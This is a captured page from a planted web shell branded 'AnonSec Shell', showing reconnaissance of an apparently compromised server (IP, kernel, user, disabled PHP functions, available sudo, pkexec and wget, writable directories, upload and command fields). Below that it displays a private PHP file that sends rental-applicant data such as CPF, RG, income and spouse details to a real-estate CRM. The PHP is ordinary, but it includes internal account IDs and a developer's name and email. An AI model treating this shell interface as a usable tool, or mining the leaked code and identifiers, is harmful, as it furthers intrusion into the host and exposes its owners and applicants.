AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.59
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/mundotennis/application/plugins/module_arbo/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/mundotennis/application/plugins/module_arbo/models/GaiaProposalModel.php
<?php

require_once 'AbstractModel.php';
require_once 'ArboFormsModel.php';
require_once 'GaiaRequest.php';

class GaiaProposalModel extends AbstractModel
{
	/**
	 * @var GaiaRequest
	 */
	public $GaiaRequest;

	public function __construct()
	{
		$this->GaiaRequest = new GaiaRequest();
	}

	/**
	 * Método que preenche o array com as informações da proposta de locação que será
	 * enviado para Gaia.
	 *
	 * @param $form_id
	 */
	public function fillFieldsProposal($form_id)
	{
		$ArboForms = new ArboFormsModel();
		$fields_values = $ArboForms->findWithFormDataArray($form_id);

		if($fields_values['form_data']) {
			$data_customer = array();

			$data = array();
			$data['hdIdtxProprietario'] = '';

			foreach ($fields_values['form_data'] as $item) {

				// Remove os caracteres NO-BREAK SPACE e
				// espaços no início e fim do texto.
				if (preg_match("/\xc2\xa0/", $item['field'])) {
					$item['field'] = trim(preg_replace("/\xc2\xa0/", ' ', $item['field']));
				}

				// Dados do cliente
				if (trim($item['field']) == "Qual é o seu nome completo?") {
					$data_customer['txNome'] = $item['value'];
				}
				if (trim($item['field']) == "qual é seu telefone de contato?") {
					(isset($item['value'])) ? $data_customer['idTelefones_telefone1'] = $item['value'] : '';
					(isset($item['value'])) ? $data_customer['idTelefones_telefoneId1'] = '0,1' : "";

				}
				if (trim($item['field']) == "Neste contato há Whatsapp?") {
					$data_customer['idTelefones_telefone3'] = $item['value'];
					$data_customer['idTelefones_telefoneId1'] = '0,3';
				}
				if (trim($item['field']) == "Qual é sua profissão?") {
					$data_customer['txProfissao'] = $item['value'];
				}
				if (trim($item['field']) == "qual sua data de nascimento?") {
					$data_customer['txDtNascimento'] = date('d/m/Y', strtotime($item['value']));
				}
				if (trim($item['field']) == "CPF ou CNPJ?") {
					$data_customer['txCpf'] = $item['value'];
				}
				if (trim($item['field']) == "seu estado civil seria?") {
					$data_customer['cboEstadoCivil'] = $item['value'];
				}
				if (trim($item['field']) == "Seu RG?") {
					$data_customer['txRg'] = $item['value'];
				}
				if (trim($item['field']) == "Qual é o órgão expedidor do RG?") {
//					$data_customer[''] = $item['value'];
				}
				if (trim($item['field']) == "Qual é o seu atual endereço?") {
					$endereco_cliente = $item['value'];
					$end_client_arr = explode(', ', $endereco_cliente);
					(isset($end_client_arr[0])) ? $data_customer['endereco'] = $end_client_arr[0] : '';
					(isset($end_client_arr[1])) ? $data_customer['numero'] = $end_client_arr[1] : '';
					(isset($end_client_arr[2])) ? $data_customer['complemento'] = $end_client_arr[2] : '';
					(isset($end_client_arr[3])) ? $data_customer['bairro'] = $end_client_arr[3] : '';
					(isset($end_client_arr[4])) ? $data_customer['cidade'] = $end_client_arr[4] : '';
					(isset($end_client_arr[5])) ? $data_customer['estado'] = $end_client_arr[5] : '';
				}
				if (trim($item['field']) == "Por fim, qual sua renda mensal?") {
					$data_customer['txValorRenda'] = $item['value'];
				}
				if (trim($item['field']) == "Como você gostaria de ser chamado?") {
//					$data[''] = $item['value'];
				}
				if (trim($item['field']) == "Vamos finalizar seu cadastro para nosso futuro contrato de locação.Qual é a sua nacionalidade?") {
					$data_customer['txNacionalidade'] = $item['value'];
				}
				if (trim($item['field']) == "Estamos finalizando, digite seu email por favor!") {
					$data_customer['idEmails_email1'] = $item['value'];
					$data_customer['idEmails_emailId1'] = '0,1';
				}

				// Dados do imóvel
				if ($item['field'] == "Como você gostaria de selecionar o imóvel para Proposta?") {
					if ($item['value'] == "Descrever o Imóvel") {

					}
					if ($item['value'] == "Código do Imóvel") {

					}
				}
				if (trim($item['field']) == "Qual é a referência do imóvel?") {
					$data['txReferencia_1'] = $item['value'];
				}
				if (trim($item['field']) == "o imóvel que você tem interesse em fazer sua proposta é?") {
					// Residencial ou Comercial
					$tipo_imovel = $item['value'];
				}
				if ($item['field'] == "Dentre os residenciais qual a categoria?") {
					// Apartamento, Casa ou Terreno
					$categoria_residencial = $item['value'];
				}
				if ($item['field'] == "Dentre as categorias de Casas, qual delas seria?") {
					// Casa em rua, Casa em Condomínio
					$casa_categoria = $item['value'];
				}
				if ($item['field'] == "qual é o nome do condomínio?") {
					$nome_condominio = $item['value'];
				}
				if ($item['field'] == "E qual unidade?") {
					$condominio_unidade = $item['value']; //TODO
				}
				if ($item['field'] == "E qual unidade?") {
					// Ex: apartamento 602
					$condominio_unidade = $item['value'];
				}
				if ($item['field'] == "qual dia você pretenderia se mudar par o imóvel?") {
//					$data[''] = $item['value'];
				}
				if ($item['field'] == "qual o endereço do imóvel?") {
					if (!empty($item['value'])) {
						$endereco_imov = explode(', ', $item['value']);
						$rua = (isset($endereco_imov[0])) ? $endereco_imov[0] : '';
						$num = (isset($endereco_imov[1])) ? $endereco_imov[1] : '';
					}
				}
				if ($item['field'] == "Qual o valor que você prentende locar o imóvel?") {
					$data['txValorProposto'] = number_format($item['value'], 2, ",", ".");
				}
				if ($item['field'] == "Qual a melhor data para pagamento do seu aluguel?") {
//					$data[''] = $item['value'];
				}
				if ($item['field'] == "Qual é o nome do corretor que está lhe atendendo?") {
					$id_realtor = $this->getRealtorId($item['value']);
					$data['cboCorretor'] = $id_realtor;
					$data['cboCorretorComissao'] = $id_realtor;
					$data_customer['hdIdCorretor'] = $id_realtor;
				}
				if ($item['field'] == "Qual é o nome do seu cônjuge?") {
					$data['txNomeConjuge_1'] = $item['value'];
				}
				if ($item['field'] == "Qual é a sua nacionalidade do(a)?") {
					$data['txNacionalidadeConjuge_1'] = $item['value'];
				}
				if ($item['field'] == "Qual é o país de origem dele (a)?") {
					$data['txNaturalidadeConjuge_1'] = $item['value'];
				}
				if ($item['field'] == "Qual é a profissão dele (a)?") {
					$data['txProfissaoConjuge_1'] = $item['value'];
				}
				if ($item['field'] == "qual a data de nascimento do dele (a) ?") {
					$data['dtNascimentoConjuge_1'] = date('d/m/Y', strtotime($item['value']));
				}
				if ($item['field'] == "E o RG?") {
					$data['txRGConjuge_1'] = $item['value'];
				}
				if ($item['field'] == "Qual é o órgão expedidor do RG?") {
//					$data[''] = $item['value'];
				}
				if ($item['field'] == "CPF ou CNPJ?") {
//					$data[''] = $item['value'];
				}
				if ($item['field'] == "Qual é o email dele (a)?") {
					$data['txEmailConjuge_1'] = $item['value'];
				}
			} //End Foreach

			// Verifica se o cliente já existe na base da Gaia
			if(!empty($data_customer['idEmails_email1'])) {

				// Verifica se já existe um cliente com esse email
				$cliente = $this->GaiaRequest->getCostumer($data_customer['idEmails_email1']);

				if($cliente) {
					$data['hdIdtxProprietario'] = $cliente['id'];
					if (isset($cliente['dados'][5])) {
						$telefones = $cliente['dados'][5];
						if (preg_match_all("/\(\d{2}\)\s\d{4}\-\d{4,5}/", $telefones, $telefones_array)) {
							if(count($telefones_array) > 0) {
								foreach ($telefones_array[0] as $i => $tel) {
									$data['txProprietario_telefone' . ($i+1)] = $tel;
									$data['txProprietario_telefoneId' . ($i+1)] = "0," . ($i+1);
								}
							}
						}
					}
				}
				else {
					$now = date('d/m/Y');
					$data_customer['dt_cadastro'] = $now;
					$data_customer['dt_atualizacao'] = $now;
					$data_customer['hdTxNomeUsuario'] = 'Leonardo Lopes Ramos';
					$data_customer['hdPermissaoClienteUsuario'] = 3;
					$data_customer['id_atendimento_usuario'] = 174349;
					$data_customer['cboUsuario'] = 174349;
					$data_customer['cboUsuario_0'] = 174349;
					$data_customer['cboStatusCliente'] = true;
					$data_customer['cboUsuario_0'] = '174349';
					$data_customer['cboTipoCliente_0'] = '2';
					$data_customer['cadastroSimplificado'] = false;
					$data_customer['hdCadastroCpf'] = false;
					$data_customer['hdTamanhoArquivoImob'] = 5242880;
					$data_customer['hdPermissaoClienteUsuario'] = 3;
					$data_customer['cboInvestidor'] = true;
					$data_customer['txEmpresa'] = '';
					$data_customer['txObservacoes'] = '';
					$data_customer['cadastro_sem_retorno'] = 0;
					$data_customer['cboCondominio_'] = '0iddoCliente';
					$data_customer['cboGaragem_'] = 0;
					$data_customer['cboSuite_'] = 0;
					$data_customer['txAreaUtil_'] = '';
					$data_customer['cboAceitaFinanciamento_'] = 1;
					$data_customer['chkOpcao_'] = 'imobiliaria';
					$data_customer['cboOpcao_'] = 'imobiliaria';
					$data_customer['hdnRoteiroVisitaLimiteCheck'] = 12;
					$data_customer['hdQtdePerfis'] = 1;
					$data_customer['hdValores_1'] = true; //'00truetrue00';
					$data_customer['hdAcao_1'] = 1;
					$data_customer['txReferencia_1'] = '';
					$data_customer['hdEstado_1'] = 0;
					$data_customer['hdCidade_1'] = 0;
					$data_customer['hdZona_1'] = 0;
					$data_customer['cboFinalidade_1'] = 0;
					$data_customer['cboTipo_1'] = 0;
					$data_customer['cboDormitorio_1'] = 0;
					$data_customer['chkPretVenda_1'] = 1;
					$data_customer['chkPretLocacao_1'] = 2;
					$data_customer['txValorVenda_1'] = 'R$ 0,00';
					$data_customer['cboDeltaVenda_1'] = 20;
					$data_customer['txValorLocacao_1'] = 'R$ 0,00';
					$data_customer['cboDeltaLocacao_1'] = 20;
					$data_customer['cboStatusImovel_1'] = 1;
					$data_customer['txCondominio_1'] = '';
					$data_customer['hdIdEmpreendimento_1'] = '';
					$data_customer['cboCondominio_1'] = 0;
					$data_customer['cboGaragem_1'] = 1;
					$data_customer['cboSuite_1'] = 1;
					$data_customer['cboDeltaAreaUtil_1'] = 20;
					$data_customer['txAreaTotal_1']  = '';
					$data_customer['cboAceitaFinanciamento_1'] = 1;
					$data_customer['chkOpcao_1'] = 'imobiliaria';
					$data_customer['cboOpcao_1'] = 'imobiliaria';
					$data_customer['id_atendimento_status'] = 1;
					$data_customer['id_atendimento_usuario'] = 174349;
					$data_customer['dt_atendimento'] = date('d/m/Y'); // '25/04/2017'
					$data_customer['dt_atendimento_alt'] = date('H:i'); // '17:16'
					$data_customer['id_atendimento_prioridade'] = 2;
					$data_customer['hdUsers'] = 1;
					$data_customer['hdIdUsuarioCliente'] = 0;
					$data_customer['hdUsuarioClienteExcluir'] = 0;
					$data_customer['hdUsuarioClienteAcao'] = 1;
					$data_customer['cboUsuario'] = 174349;
					$data_customer['cboTipoCliente'] = 2;
					$data_customer['hdClienteInativado'] = 0;
					$data_customer['hdIdUsuarioCliente_0'] = 0;
					$data_customer['hdUsuarioClienteExcluir_0'] = 0;
					$data_customer['hdUsuarioClienteAcao_0'] = 1;
					$data_customer['cboUsuario_0'] = 174349;
					$data_customer['rbSexo'] = 1;
					$data_customer['txSite'] = '';
					$data_customer['rbTipoPessoa'] = 1;
					$data_customer['txCnpj'] = '';
					$data_customer['txIe'] = '';
					$data_customer['txNaturalidade'] = ''; //Londrinense
					$data_customer['txComoFinanciarImovel'] = 2;
					$data_customer['hdFaixaRenda'] = 0;
					$data_customer['cboNivelCultural'] = 12;
					$data_customer['cboProcurador'] = false;
					$data_customer['hdCoordenadas'] = '';
					$data_customer['hdCepReadOnly'] = false;
					$data_customer['hdTotalArquivo'] = 0;
					$data_customer['hdTamanhoTotalArquivo'] = 0;
					$data_customer['origem'] = 'Indicação';
					$data_customer['cboClienteMidia'] = '8';

					// Salva o Cliente no sistema da Gaia
					$this->GaiaRequest->saveCustomer($data_customer);

					// Verifica se já existe um cliente com esse email
					$cliente = $this->GaiaRequest->doLogin()->getCostumer($data_customer['idEmails_email1']);

					if($cliente) {
						$data['hdIdtxProprietario'] = $cliente['id'];
						if (isset($cliente['dados'][5])) {
							$telefones = $cliente['dados'][5];
							if (preg_match_all("/\(\d{2}\)\s\d{4}\-\d{4,5}/", $telefones, $telefones_array)) {
								if(count($telefones_array) > 0) {
									foreach ($telefones_array[0] as $i => $tel) {
										$data['txProprietario_telefone' . ($i+1)] = $tel;
										$data['txProprietario_telefoneId' . ($i+1)] = "0," . ($i+1);
									}
								}
							}
						}
					}
				}
			}

			// Filtros do imóvel
			$filters = [];
			if(isset($rua) && !empty($rua)) {
				$filters['street'] = $rua;
			}

			if(isset($num) && !empty($num)) {
				$filters['num'] = $num;
			}

			if (isset($tipo_imovel) && !empty($tipo_imovel)) {
				if ($tipo_imovel == "Residencial")
					$filters['property_category_id'] = 1;
				if ($tipo_imovel == "Comercial")
					$filters['property_category_id'] = 2;
			}

			if (isset($categoria_residencial) && !empty($categoria_residencial)) {
				if ($categoria_residencial == "Apartamento")
					$filters['property_type_id'] = 0;
				if ($categoria_residencial == "Casa")
					$filters['property_type_id'] = 7;
				if ($categoria_residencial == "Terreno")
					$filters['property_type_id'] = 19;
			}

			if (isset($casa_categoria) && !empty($casa_categoria)) {
				if ($casa_categoria == "Casa em rua") {
//					$filters['property_type_id'] = '';
				}
				if ($casa_categoria == "Casa em Condomínio") {
//					$filters['property_type_id'] = '';
				}
			}

//			dd(['getPropertiesList', $this->getPropertiesList()]);

			// Busca o imóvel atráves dos filtros
			$properties = $this->GaiaRequest->getProperties($filters);
//			dd(['getProperties', $properties]);

			if($properties) {
				$data[''] = $properties[0]['id'];
				$data['txReferencia'] = $properties[0]['reference'];
				$data['txValorVenda'] = number_format($properties[0]['price_sale'], 2, ',', '.');
			}
			else {
				$data['txReferencia'] = '';
				$data['txValorVenda'] = '0,00';
			}

//			dd([$data, $properties]);

			// Campos fixos
			$data['txValorVendaAvaliado'] = '';
			$data['txReferenciaProprietario'] = ''; //00439
			$data['txProprietarioImovel'] = ''; //Cadastro de Teste
			$data['txTelefone'] = '';
//			$data['txTelefone'] = '(43) 4343-4343';
//			$data['txTelefone'] = '(43) 4343-4343';
//			$data['txTelefone'] = '(43) 4343-4343';
//			$data['idEmails2_email1'] = 'teste@teste.com';
//			$data['idEmails2_emailId1'] = '11455017,1';
			$data['txReferenciaCliente_1'] = 'CP00127';
			$data['txProprietario_1'] = 'Lrsys';
			$data['txProprietario_1_telefone1'] = '(23) 2232-3223';
			$data['txProprietario_1_telefoneId1'] = '22774843,1';
			$data['txProprietario_1_telefone2'] = '(32) 3232-32323';
			$data['txProprietario_1_telefoneId2'] = '22774844,2';
			$data['txProprietario_1_telefone3'] = '(32) 3232-32323';
			$data['txProprietario_1_telefoneId3'] = '22774845,3';
			$data['txProprietario_1_telefone4'] = '(21) 2121-21212';
			$data['txProprietario_1_telefoneId4'] = '22774846,1';
			$data['hdIdtxProprietario_1'] = '18032923';
//			$data['hdTelefones_1'] = '$('#hdTelefones_1').multipePhones({nfones: [{typeID: 1, value: '(23) 2232-3223', id: 22774843}, {typeID: 2, value: '(32) 3232-32323', id: 22774844}, {typeID: 3, value: '(32) 3232-32323', id: 22774845}, {typeID: 1, value: '(21) 2121-21212', id: 22774846}]});';
			$data['hdRendaIn_1'] = '';
			$data['hdRendaFim_1'] = '';
			$data['hdTipoPessoa_1'] = '';
//			$data['idEmails'] = '$('#idEmails').multipeEmails({nemails: [{typeID: 1, value: 'leonardo@lrsys.com.br', id: 10953673}]});';
//			$data['idEmails_email1'] = 'leonardo@lrsys.com.br';
//			$data['idEmails_emailId1'] = '10953673,1';
//			$data['hdEmails'] = '$('#idEmails2').multipeEmails({';
//			$data['  nemails: ['] = '';
//			$data['      {typeID: 1, value: 'teste@teste.com', id: 11455017, valida: 'False' }'] = '';
//			$data['  ],'] = '';
//			$data['  types: ['] = '';
//			$data['      {      name: 'Email', id: 1, mask: '', classe: 'EmailItemResidencial'}'] = '';
//			$data['  ]'] = '';
//			$data['  , '] = '';
//			$data['});'] = '';
//			$data['$('#txProprietario_1').multipePhones({'] = '';
//			$data['  types: ['] = '';
//			$data['      {      name: 'Tel. Residencial', id: 1, mask: '(99) 9999-9999?9', classe: 'PhoneItemResidencial'}'] = '';
//			$data[',       {      name: 'Tel. Comercial', id: 2, mask: '(99) 9999-9999?9', classe: 'PhoneItemComercial'}'] = '';
//			$data[',       {      name: 'Celular', id: 3, mask: '(99) 9999-9999?9', classe: 'PhoneItemCelular'}'] = '';
//			$data[',       {      name: 'Rádio', id: 4, mask: '', classe: 'PhoneItemRadio'}'] = '';
//			$data['  ],'] = '';
//			$data['  action: function(field, redirect){ '] = '';
//			$data['               field.validInput({'] = '';
//			$data['                   url: 'modules/ValidaTelefoneInteressado.aspx?tipoValidacao'] = 'cadastroProposta' ';
//			$data['               });'] = '';
//			$data['           },'] = '';
//			$data['  redirect: false});'] = '';
//			$data['$('#idEmails').multipeEmails({'] = '';
//			$data['  types: ['] = '';
//			$data['      {      name: 'Email', id: 1, mask: '', classe: 'EmailItemResidencial'}'] = '';
//			$data['  ]'] = '';
//			$data['  , '] = '';
//			$data['  action: function(field, redirect){ '] = '';
//			$data['               field.validInput({'] = '';
//			$data['                   url: 'modules/ValidaEmailInteressado.aspx?tipoValidacao'] = 'cadastroProposta' ';
//			$data['               });'] = '';
//			$data['           },'] = '';
//			$data['  redirect: false});'] = '';
//			$data[''] = '';
			$data['cboClienteMidia_1'] = '190';
			$data['cboCadastradoPor'] = 'Leonardo Lopes Ramos';
			$data['doNotSubmit'] = 'false';
			$data['errorsFound'] = 'false';
			$data['origem'] = '';
			$data['idProposta'] = '';
			$data['hdProcessoVenda'] = '';
			$data['hdEtapaProcessoVenda'] = '0';
			$data['hdNaoRedirecionar'] = 'False';
			$data['hdContinuarProcesso'] = 'False';
			$data['hdRetrocederProcesso'] = 'False';
			$data['hdSolicitarAprovacao'] = 'false';
			$data['hdEncaminhouProcesso'] = 'false';
			$data['hdCadastroCpf'] = 'false';
			$data['hdValorAprovado'] = '0%2C00';
			$data['hdForcaVendas'] = 'false';
			$data['hdUsuarioAtual'] = '174349';
			$data['hdIdImovel'] = '55716810';
//			$data['hdEmailsProprietario'] = '%24('%23idEmails2').multipeEmails(%7B%0D%0A++nemails%3A+%5B%0D%0A++++++%7BtypeID%3A+1%2C+value%3A+'teste%40teste.com'%2C+id%3A+11455017%2C+valida%3A+'False'+%7D%0D%0A++%5D%2C%0D%0A++types%3A+%5B%0D%0A++++++%7B++++++name%3A+'Email'%2C+id%3A+1%2C+mask%3A+''%2C+classe%3A+'EmailItemResidencial'%7D%0D%0A++%5D%0D%0A++%2C+%0D%0A%7D)%3B%0D%0A';
			$data['txObservacoes_1'] = '';
			$data['dtNascimento_1'] = '';
			$data['cboSexo_1'] = '1';
			$data['txSite_1'] = '';
			$data['txRG_1'] = '';
			$data['txCPF_1'] = '';
			$data['txNaturalidade_1'] = '';
			$data['txProfissao_1'] = '';
			$data['txCargo_1'] = '';
			$data['txRamo_1'] = '';
			$data['cboEstadoCivil_1'] = '1';
			$data['txQtdeFilhos_1'] = '';
			$data['txQtdeCarros_1'] = '';
			$data['txComoFinanciarImovel_1'] = '';
			$data['txValorRenda_1'] = '';
			$data['cboNivelCultural_1'] = '7';
			$data['txNomeConjuge_1'] = '';
			$data['dtNascimentoConjuge_1'] = '';
			$data['txRGConjuge_1'] = '';
			$data['txCPFConjuge_1'] = '';
			$data['txNacionalidadeConjuge_1'] = '';
			$data['txNaturalidadeConjuge_1'] = '';
			$data['txProfissaoConjuge_1'] = '';
			$data['txEmailConjuge_1'] = '';
			$data['txTelefoneConjuge_1'] = '';
			$data['cboCorretorCliente'] = '0';
			$data['cboTipoCorretorCliente_'] = '2';
			$data['cepTipo'] = '1';
			$data['CEPValor'] = '';
			$data['cepPais'] = '1';
			$data['cepEstado'] = '71';
			$data['cepCidade'] = '126';
			$data['CEPLogradouro'] = '';
			$data['endereco'] = '';
			$data['idTipoNumeracao'] = '1';
			$data['numero'] = '';
			$data['complemento'] = '';
			$data['bairro'] = '';
			$data['cidade'] = '';
			$data['estado'] = '';
			$data['cep'] = '00000-000';
			$data['hdCoordenadas'] = '';
			$data['idLogradouro'] = '0';
			$data['hdCepReadOnly'] = 'False';
			$data['hdIdImovelProposta'] = '0';
			$data['cboPretensao'] = '2';
			$data['dtPrazoFim'] = '12';
//			$data['txValorProposto'] = '12.000%2C00';
			$data['cboFinalidade'] = '1';
			$data['dtExpiracao'] = '31%2F05%2F2017';
			$data['hdTotalCorretor'] = '1';
			$data['cboCorretor_name'] = '0';
			$data['hdCorretorAcao_name'] = '1';
			$data['cboCorretorAtual_name'] = '0';
			$data['cboCorretor'] = '174349'; //TODO
			$data['hdCorretorAcao'] = '1';
			$data['cboCorretorAtual'] = '0';
			$data['txCondicoes'] = 'Condi%C3%A7%C3%B5es+Comerciais';
			$data['cboStatusProposta'] = '6';
			$data['cboStatusImovel'] = '1';
			$data['txDiasAlertaNegociacao'] = '2';
			$data['txObsNegociacao'] = '';
			$data['cboTerminarNegociacao'] = '1';
			$data['cboStatusNegociacao'] = '1';

			// Envia os dados da proposta de locação para o sistema da Gaia
			$result = $this->GaiaRequest->sendDataProposal($data);
		}
	}

	/**
	 * Identifica o ID do corretor
	 *
	 * @param $nome
	 * @return mixed
	 */
	public function getRealtorId($nome)
	{
		$realtor = $this->GaiaRequest->findRealtor($nome);

		if($realtor) {
			return $realtor['idUsuario'];
		}

		return false;
	}

	/**
	 * Método que retorna os dados de um estado do sistema da Gaia de acordo
	 * com o UF informado.
	 *
	 * @param $state
	 * @return bool
	 */
	public function findState($state) {
		$states = $this->GaiaRequest->getStates(1);

		if ($states) {
			foreach ($states as $item) {
				if ($item['tx_uf'] == $state) {
					return $item;
				}
			}
		}

		return false;
	}

	/**
	 * Método que retorna os dados de uma cidade do sistema da Gaia de acordo
	 * com o id do estado e nome da cidade informados.
	 *
	 * @param $state
	 * @param $city
	 * @return bool
	 */
	public function findCity($state, $city) {
		$cities = $this->GaiaRequest->getCities($state);

		if ($cities) {
			foreach ($cities as $item) {
				if ($item['tx_cidade'] == $city) {
					return $item;
				}
			}
		}

		return false;
	}

	/**
	 * Faz uma busca no array dos dados em busca de um field específico
	 */
	public function findFieldsValues($data, $field)
	{
		if($data && count($data) > 0) {
			foreach ($data as $item) {
				if (preg_grep("/{$field}/", $item)) {
					return $item;
				}
			}
		}

		return false;
	}

	/**
	 * Formata valores que serão enviados para Gaia
	 *
	 * @param $number
	 * @return mixed
	 */
	public function format($number)
	{
		if (substr_count($number, ",") > 1) {
			$fo = stripos($number, ",");
			$number = substr_replace($number, '', $fo, 1);
		}
		if (preg_match('/R\$\s?/i', $number, $m)) {
			$number = preg_replace('/R\$\s?/i', '', $number);
		}

		return $number;
	}

}

Anon7 - 2022
AnonSec Team